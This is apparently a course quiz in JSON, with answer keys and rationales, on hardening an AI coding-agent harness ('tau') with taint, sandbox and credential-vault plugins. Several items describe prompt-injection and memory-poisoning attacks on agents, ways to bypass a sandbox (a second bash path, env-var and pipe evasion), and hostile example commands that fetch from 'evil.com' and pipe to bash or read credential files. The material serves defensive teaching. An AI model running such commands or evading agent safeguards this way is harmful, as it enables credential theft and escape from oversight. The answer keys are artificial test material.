{ "module": "CAP-B1 — Harden the tau Harness", "course": "2B — Securing & Attacking Harnesses and LLMs", "version": "2.0.0", "duration_minutes": 40, "total_questions": 15, "bloom_distribution": { "target": "20% recall / 40% application / 40% analysis-design", "actual": { "recall": 3, "application": 6, "analysis": 6 } }, "passing_score_percent": 70, "questions": [ { "id": "Q01", "bloom": "recall", "type": "multiple_choice", "prompt": "What is the capstone's success criterion?", "options": [ "A tau fork with at least one security plugin installed.", "A REAL tau fork with the three tested plugins installed AND a MEASURED defense scorecard showing the before/after delta. Both ship together — the fork is the system (tau + tau_taint + tau_sandbox + tau_vault), the scorecard is the proof (baseline ~33% → hardened ~0% on deterministic-gate classes).", "A written report claiming tau is secured against prompt injection.", "A passing result on the plugin pack's 31-test suite." ], "answer_index": 1, "rationale": "The capstone ships a pair: the real tau fork with the three plugins and the measured scorecard. The fork without the scorecard is a claim; the scorecard without the fork is a number with no system. 'We hardened tau' is a claim; 'baseline 33% → hardened 0% on the det-gate classes, with memory_poison as the named residual' is a deliverable. The plugin tests prove the plugins work; the scorecard measures the composed delta against the real harness." }, { "id": "Q02", "bloom": "recall", "type": "multiple_choice", "prompt": "Which three B-modules do the plugins in the tau_plugins pack implement?", "options": [ "B0 (scope), B3 (memory gate), B8 (intent).", "B2 (taint gate via tau_taint), B5 (credential vault via tau_vault), B7 (bash sandbox via tau_sandbox). The pack does NOT ship B3, B4, B6, or a probabilistic B2 Layer 4 detector — those are named residuals in the scorecard.", "B1 (threat model), B2 (injection), B11 (audit).", "B4 (manifests), B5 (credentials), B6 (inter-agent)." ], "answer_index": 1, "rationale": "tau_taint = B2 (tags output , blocks high-impact calls after taint). tau_sandbox = B7 (bash factory replacement, default-deny egress/creds/destructive). tau_vault = B5 (credential store replacement, vault format). The pack deliberately ships three controls, not all of B0–B8. The honest scorecard names memory_poison (no B3 gate) and obfuscated injection (no B2 L4 detector) as residuals with their closing controls." }, { "id": "Q03", "bloom": "recall", "type": "multiple_choice", "prompt": "Name SDD-B11's five extension points where controls attach in tau.", "options": [ "EP1 loop patch, EP2 config file, EP3 env var, EP4 CLI flag, EP5 README.", "EP1 tool-executor wrap (AgentTool.executor via dataclasses.replace); EP2 bash-tool factory (create_bash_tool); EP3 credential store (create_model_provider credential_store=); EP4 event subscribe (harness.subscribe); EP5 tool-list construction (CodingSessionConfig(tools=)). tau has no plugin system — every control wedges at one of these five named sites.", "EP1 model API, EP2 tokenizer, EP3 embedding layer, EP4 attention head, EP5 output decoder.", "There are only two extension points: the loop and the tool list." ], "answer_index": 1, "rationale": "SDD-B11 mapped tau's five extension points by grepping the source (tau has no register_tool/hooks/middleware). EP1 (tau_agent/tools.py:61) is where tau_taint wraps executors. EP2 (tau_coding/tools.py:574) is where tau_sandbox replaces the bash factory. EP3 (provider_runtime.py:46) is where tau_vault replaces the credential store. EP4 (harness.py:124) is where the B8 intent tracker subscribes. EP5 (session.py:286) composes all three via CodingSessionConfig(tools=). Every wedge is at a named line number — auditable and teachable." }, { "id": "Q04", "bloom": "application", "type": "multiple_choice", "prompt": "You install tau_sandbox by wrapping only the bash tool returned by create_coding_tools() (the harness tool list). Your scorecard shows tool-abuse dropping to 0%, but in a real session you observe that commands typed at the terminal-command bar still run curl unimpeded. What happened, and what is the fix?", "options": [ "tau_sandbox has a bug in its denylist — curl should be caught.", "You wrapped only the harness-list bash, but run_terminal_command (session.py:1183) constructs its OWN bash tool OUTSIDE the harness list, bypassing your wrap. This is the two-bash-tool finding (SDD-B11). Fix: wedge at the FACTORY level — use create_hardened_bash_tool which replaces create_bash_tool itself, so both call sites use the hardened executor.", "The terminal-command bar uses a different shell (zsh) that the sandbox does not cover.", "curl is not in the NETWORK_TOOLS denylist set." ], "answer_index": 1, "rationale": "The two-bash-tool finding is the integration hazard only a real harness surfaces. tau has two bash construction sites: create_coding_tools (tools.py:96, harness list) and run_terminal_command (session.py:1183, terminal bar). A wrap on only the harness-list bash is bypassed by the terminal path. The factory-level wedge (create_hardened_bash_tool replacing create_bash_tool) is the cure because both call sites go through create_bash_tool. A stub capstone cannot teach this — there is no second path to find." }, { "id": "Q05", "bloom": "application", "type": "multiple_choice", "prompt": "You run the baseline battery against unmodified tau and the sandbox-escape probe 'cat ~/.tau/credentials.json' succeeds, printing your real OPENAI_API_KEY. After installing tau_sandbox (Phase 3), the probe is blocked. After installing tau_vault (Phase 4), you re-run and the probe is STILL blocked — but now by two layers. Why install the vault when the sandbox already blocks the read?", "options": [ "The vault is redundant — remove it to simplify the stack.", "Defense-in-depth: the sandbox (B7) blocks the EXFILTRATION CHANNEL (cat/printenv), but if a future command the policy does not enumerate bypasses the sandbox, the credentials are NO LONGER ON DISK IN PLAINTEXT (B5 vault). The vault secures creds AT REST; the sandbox blocks the READ. The conjunction means an attacker must defeat both the policy enumeration AND find the plaintext — which no longer exists.", "The vault speeds up credential reads by caching them.", "The vault is required for tau_sandbox to function." ], "answer_index": 1, "rationale": "B5 (vault) and B7 (sandbox) are coupled on the credential surface. The sandbox blocks the exfiltration channel (cat ~/.tau/credentials.json, printenv KEY). The vault removes the plaintext from disk so that even if a future command bypasses the sandbox's denylist, there is nothing readable. This is the defense-in-depth conjunction: the attacker must defeat the policy enumeration AND find plaintext that no longer exists. Phase 3 blocks the read; Phase 4 removes the plaintext. Both contribute, measurably." }, { "id": "Q06", "bloom": "application", "type": "multiple_choice", "prompt": "Your Phase 2 scorecard (after installing tau_taint) shows the indirect-injection probe now returns output wrapped in tags, but the memory_poison probe still succeeds at 100%. Why does tau_taint not stop memory poisoning?", "options": [ "tau_taint has a bug — it should block write_to_memory.", "tau_taint is B2 (tags output, blocks high-impact calls after taint). Memory poisoning requires a B3 MEMORY-WRITE GATE that checks write_to_memory provenance and blocks tainted→trusted writes (the laundering move). The plugin pack ships B2, B5, B7 — NOT B3. Memory_poison at 100% is the NAMED RESIDUAL. Closing control: install B3. tau_taint tags the output but does not gate what gets written to memory.", "The taint gate only works on the bash tool, not write_to_memory.", "Memory poisoning is not an injection attack so taint does not apply." ], "answer_index": 1, "rationale": "tau_taint (B2) tags tool output and blocks high-impact CALLS when arguments are tainted. It does not include a memory-WRITE gate (B3) that checks the provenance of write_to_memory calls and blocks tainted→trusted writes. The plugin pack ships three controls (B2, B5, B7); B3 is not among them. Memory_poison at 100% is the honest, named residual — not a failure of the installed controls but the measured consequence of installing 3 of 7 defenses. The closing control (B3) is named in the scorecard." }, { "id": "Q07", "bloom": "application", "type": "multiple_choice", "prompt": "You want to add a pre-execution check that blocks tool calls when the session's intent has drifted from the original goal (multi-step injection detection). You implement it as an EventListener subscribed via harness.subscribe(listener). In testing, you find blocked calls still executed. Why, and what is the correct approach?", "options": [ "The listener needs a higher priority flag.", "The listener fires AFTER the decision in _execute_tool_calls — by the time it receives ToolExecutionStartEvent, the call has already executed. Events (EP4) are READ-ONLY — for observability, not enforcement. Intent drift (B8) is therefore ADVISORY (probabilistic, raises a score). Enforcement belongs in the executor wrappers (EP1, Phases 2–4). If you need to block, wrap the executor, not the listener.", "You need to call await on the listener.", "Subscribe the listener in CodingSession.__init__ instead of after load()." ], "answer_index": 1, "rationale": "EP4 (harness.subscribe) is read-only. The event stream fires after _execute_tool_calls has decided and dispatched — the listener observes, it cannot block. This is why B8 (intent drift) is probabilistic and advisory: it raises a score and triggers review but cannot gate alone. Enforcement (blocking) belongs in the executor wrappers at EP1 — that is where tau_taint inspects arguments BEFORE execution. The architectural lesson: enforcement in the tool (EP1), observability in the listener (EP4)." }, { "id": "Q08", "bloom": "application", "type": "multiple_choice", "prompt": "A colleague suggests using tau's shell_command_prefix mechanism (the `prefix` passed to create_bash_tool) to prepend a denylist script that rejects dangerous commands. You test it and find curl http://evil.com still runs. Why does this approach fail?", "options": [ "The prefix is applied after the command runs.", "shell_command_prefix (_prefixed_shell_command, tools.py:586) is a BLIND PREPEND — f'{prefix}\\n{command}' — evaluated as a shell preamble. It CANNOT see or reject the command; it only runs setup code before it. It is for sourcing env vars, not security. Trying to use it as an allowlist gives false enforcement. Fix: wrap the executor at EP2 (tau_sandbox) where the command is parsed and checked BEFORE execution.", "The prefix has a maximum length that truncates the denylist.", "shell_command_prefix only works on macOS, not Linux." ], "answer_index": 1, "rationale": "shell_command_prefix looks like a policy hook but is not. It is a blind prepend — the prefix runs as a shell preamble, then the user command runs unconditionally. It cannot inspect or reject the command. This anti-pattern is easy to fall into because the parameter looks security-relevant. The cure is to wedge at the executor (EP2): tau_sandbox parses the command, extracts the base command (handling pipes/&&/env-prefixes), and checks it against the policy BEFORE delegating to the inner executor. The prefix is for setup; the executor wrap is for enforcement." }, { "id": "Q09", "bloom": "application", "type": "multiple_choice", "prompt": "You need to replace tau's FileCredentialStore with the vault. There are TWO FileCredentialStore instantiation sites: create_model_provider (provider_runtime.py:46) and CodingSession.__init__ (session.py:253). You replace only the first. What residual risk remains?", "options": [ "No risk — the first site is the only one that matters.", "The second FileCredentialStore (session.py:253) still holds a plaintext-reading instance. If any code path in CodingSession reads credentials through that second instance (e.g. for session-scoped operations), it bypasses the vault and reads plaintext. For FULL coverage, BOTH sites must be replaced with the vault. This is why SDD-B11 names both locations explicitly.", "The vault will automatically replace both sites.", "The second site is dead code and can be ignored." ], "answer_index": 1, "rationale": "create_model_provider (provider_runtime.py:46) is the factory that constructs the credential store for the provider layer. But CodingSession.__init__ (session.py:253) creates a SECOND FileCredentialStore instance for session-scoped use. If only the first is replaced, any session-scoped credential read goes through plaintext. SDD-B11 names both sites because full credential isolation requires replacing both. The vault implements the CredentialReader protocol, so it drops into either site — but you must inject it at both. Partial replacement leaves a plaintext-read path open." }, { "id": "Q10", "bloom": "analysis", "type": "multiple_choice", "prompt": "After installing all three plugins, your scorecard shows: direct 0%, indirect 0%, tool_abuse 0%, sandbox_escape 0%, memory_poison 100%, overall ~11%. Your manager asks you to 'get memory_poison to 0% so we can report all zeros.' What is the correct engineering response?", "options": [ "Remove the memory_poison probe from the battery so it does not appear — then report all zeros.", "Explain that memory_poison at 100% is the NAMED RESIDUAL: the plugin pack ships B2/B5/B7, not B3 (memory-write gate). To legitimately reach 0%, install B3 — a write_to_memory provenance gate that blocks tainted→trusted writes. Reporting 'all zeros' by removing the probe is dishonest (B0 anti-pattern). The honest deliverable names the residual and the closing control (B3). The client accepts measured residual risk, not a hidden class.", "Tune the tau_taint regex to also catch memory writes — that will fix it.", "Declare the harness 'secured for the covered classes' and footnote memory_poison." ], "answer_index": 1, "rationale": "A scorecard reporting all zeros by removing the probing class is the B0 anti-pattern at its worst — hiding residual risk rather than measuring it. memory_poison at 100% is the honest consequence of installing 3 of 7 defenses. The correct response: install B3 (the memory-write gate) to legitimately drive memory_poison to 0%, OR report the characterized residual with its closing control. Honesty (named residual + closing control) is one of the three defensible-scorecard properties. A client trusts a named 100% residual with a path to 0% more than a dishonest 0%." }, { "id": "Q11", "bloom": "analysis", "type": "multiple_choice", "prompt": "The capstone was rewritten from a stub TypeScript harness to real tau. A student asks: 'The stub taught the six phases and the enforcement split — what does real tau teach that the stub could not?' Which answer captures the deepest reason?", "options": [ "Real tau runs faster than the stub.", "Real tau surfaces INTEGRATION HAZARDS the stub cannot — chiefly the two-bash-tool finding (run_terminal_command builds its own bash outside the harness list). It also produces a REAL baseline (actually reads your credentials, actually runs rm) rather than a simulated one, and forces WEDGE-POINT DISCIPLINE at five named line numbers. These three — integration, real measurement, named wedge points — are the skills that transfer to any production harness. The stub taught architecture; the real capstone teaches the integration that breaks in production.", "Real tau has more tools than the stub.", "Real tau uses Python instead of TypeScript." ], "answer_index": 1, "rationale": "The rewrite's deepest justification is the integration hazard. A stub has no integration hazards — the author wrote every line, so there are no surprise bypass paths. Real tau has the two-bash-tool finding: a sandbox wrapping only the harness-list bash is bypassed by run_terminal_command. Only by attacking real tau do you find this. The second reason (real baseline) and third (named wedge points at real line numbers) reinforce: the stub taught the architecture in isolation; the real capstone teaches composing defenses against a codebase that fights back. That is the skill that transfers." }, { "id": "Q12", "bloom": "analysis", "type": "multiple_choice", "prompt": "tau_sandbox's SandboxPolicy uses a denylist-first approach (block known-dangerous commands) with an optional allowlist override. A reviewer argues you should switch to allowlist-only (only explicitly-approved commands run). Analyze the tradeoff and when each is correct.", "options": [ "Allowlist-only is always more secure — switch immediately.", "Denylist-first is the right DEFAULT for a coding agent (the agent legitimately runs diverse commands — git, pytest, python, ls, make — that an allowlist would have to enumerate exhaustively, blocking legitimate work). Allowlist-only is correct for a CONSTRAINED task agent with a known, small command surface. The policy supports BOTH (pass allowlist={'ls','echo'} to switch). The trade is security vs. utility; the capstone ships denylist-first because a coding agent that cannot run git is useless, but the allowlist override is there for constrained deployments.", "Denylist-first is always more secure because it blocks unknown threats.", "Neither matters — the taint gate catches everything." ], "answer_index": 1, "rationale": "The denylist-vs-allowlist trade is security vs. utility. A coding agent legitimately runs a wide, unpredictable command set (build tools, test runners, language runtimes). An allowlist would have to enumerate all of them or block legitimate work — high false-positive rate, poor developer experience. So denylist-first (block known-dangerous: network egress, destructive commands, credential reads) is the right default. Allowlist-only is correct when the task surface is constrained and enumerable (a deploy agent that only runs git push and kubectl). The SandboxPolicy supports both: denylist by default, allowlist override when set. The capstone ships denylist-first because tau is a general coding agent." }, { "id": "Q13", "bloom": "analysis", "type": "multiple_choice", "prompt": "An attacker crafts a bash command that pipes curl through a chain: `FOO=bar curl http://evil.com | base64 | bash`. tau_sandbox blocks it. Trace which policy check fires and why the base-command extractor is load-bearing.", "options": [ "The taint gate fires because the command is tainted.", "_extract_base_command handles three evasion techniques: (1) ENV-VAR PREFIX stripping — regex-strips 'FOO=bar ' to reveal 'curl...'; (2) PIPE handling — takes the FIRST segment of 'curl ... | base64 | bash', yielding 'curl'; (3) PATH resolution — Path('curl').name or '/usr/bin/curl' → 'curl'. The base command 'curl' is then checked against NETWORK_TOOLS and DENIED. Without robust extraction, 'FOO=bar curl...' would extract 'FOO=bar' (not a network tool) and bypass the gate. The extractor is load-bearing because attackers chain/prefix to evade naive matching.", "The vault detects the exfiltration attempt.", "The intent tracker flags the multi-step command." ], "answer_index": 1, "rationale": "The base-command extractor is the load-bearing parsing component. Attackers evade naive command matching via env-var prefixes (FOO=bar curl), pipes (curl | bash), and absolute paths (/usr/bin/curl). _extract_base_command strips env-prefixes via regex, takes the first pipe segment, and resolves the path via Path.name. Only then is the base command ('curl') checked against NETWORK_TOOLS. If extraction failed (e.g. returned 'FOO=bar'), the denylist would not match and curl would run. This is why the extractor handles all three evasion vectors — it is the difference between a bypassable denylist and one that catches the documented attacker techniques." }, { "id": "Q14", "bloom": "analysis", "type": "multiple_choice", "prompt": "tau_vault's teaching implementation uses base64 obfuscation, not real encryption. A security auditor flags this as a critical vulnerability. Evaluate the auditor's finding in the context of the capstone's teaching goals.", "options": [ "The auditor is right — base64 is trivially reversible and the vault is insecure. Pull the plugin.", "The auditor misreads the teaching context. The base64 obfuscation is DELIBERATELY not encryption — it makes the plaintext→vault progression concrete and demonstrates that the wedge point (EP3) works. The capstone's goal is to teach WHERE the vault attaches and the MEASURED DELTA (plaintext removed from disk), not to ship production crypto. The production swap (OS keychain/KMS) is a one-line change to _save/_load. The honest framing: 'the teaching vault demonstrates the wedge; production uses the keychain — the measured scorecard delta is identical because the delta is about plaintext removal, not cipher strength.'", "The auditor is right — replace base64 with AES before the capstone ships.", "base64 is sufficient because the credentials file is chmod 0600." ], "answer_index": 1, "rationale": "The teaching vault's base64 is obfuscation, not encryption — stated explicitly in the docstring. The capstone's pedagogical goal is to show the extension point (EP3) and the measured delta (credentials no longer plaintext on disk). The cipher strength is orthogonal to the wedge-point lesson. A production deployment swaps in the OS keychain via a one-line change — the measured scorecard delta is the same because the delta measures 'is plaintext readable,' not 'is the cipher strong.' The auditor is technically right that base64 is reversible but wrong about the teaching context: the point is the wedge and the removal of plaintext, demonstrated and measured. A note in the deliverable should flag that production needs real crypto." }, { "id": "Q15", "bloom": "analysis", "type": "multiple_choice", "prompt": "Compare the OLD capstone (stub TypeScript harness, fake model) and the NEW capstone (real tau + plugin pack). A student argues both are valid because 'the architecture is the same.' What is the strongest counterargument for why the NEW capstone is superior for teaching harness security?", "options": [ "The NEW capstone is shorter to complete.", "The architecture IS similar (defense-in-depth, phase composition), but the NEW capstone teaches the skill that actually matters in production: INTEGRATION against a codebase that has real bypass surfaces. The OLD stub's scorecard was a curve the author drew; the NEW scorecard is a measurement the student takes against a harness that actually executes rm, actually reads credentials, and actually runs curl. The two-bash-tool finding — which only exists in real tau — forces the student to learn factory-level wedge discipline rather than harness-list wrapping. A student who can install tau_sandbox at the factory level and explain why the harness-list wrap fails has learned the transferable skill; a student who built the stub learned the architecture but not the integration.", "The NEW capstone uses Python which is more popular than TypeScript.", "Both capstones are equivalent — the choice is stylistic." ], "answer_index": 1, "rationale": "The strongest counterargument centers on integration vs. architecture. The stub taught the architecture well — the phases, the enforcement split, the conjunction. But architecture in isolation is not the skill that fails in production; integration is. Real tau has bypass surfaces (the two-bash-tool finding), real measurement (actual command execution, actual credential reads), and real wedge points (five named line numbers). The student who wraps only the harness-list bash and gets bypassed by run_terminal_command learns the factory-level discipline that transfers to any harness. The stub student never encounters the bypass and therefore never learns the discipline. The NEW capstone's measured scorecard is also a real measurement (real rm, real creds) not an author-drawn curve — the stakes are concrete. This is why the rewrite happened." } ] }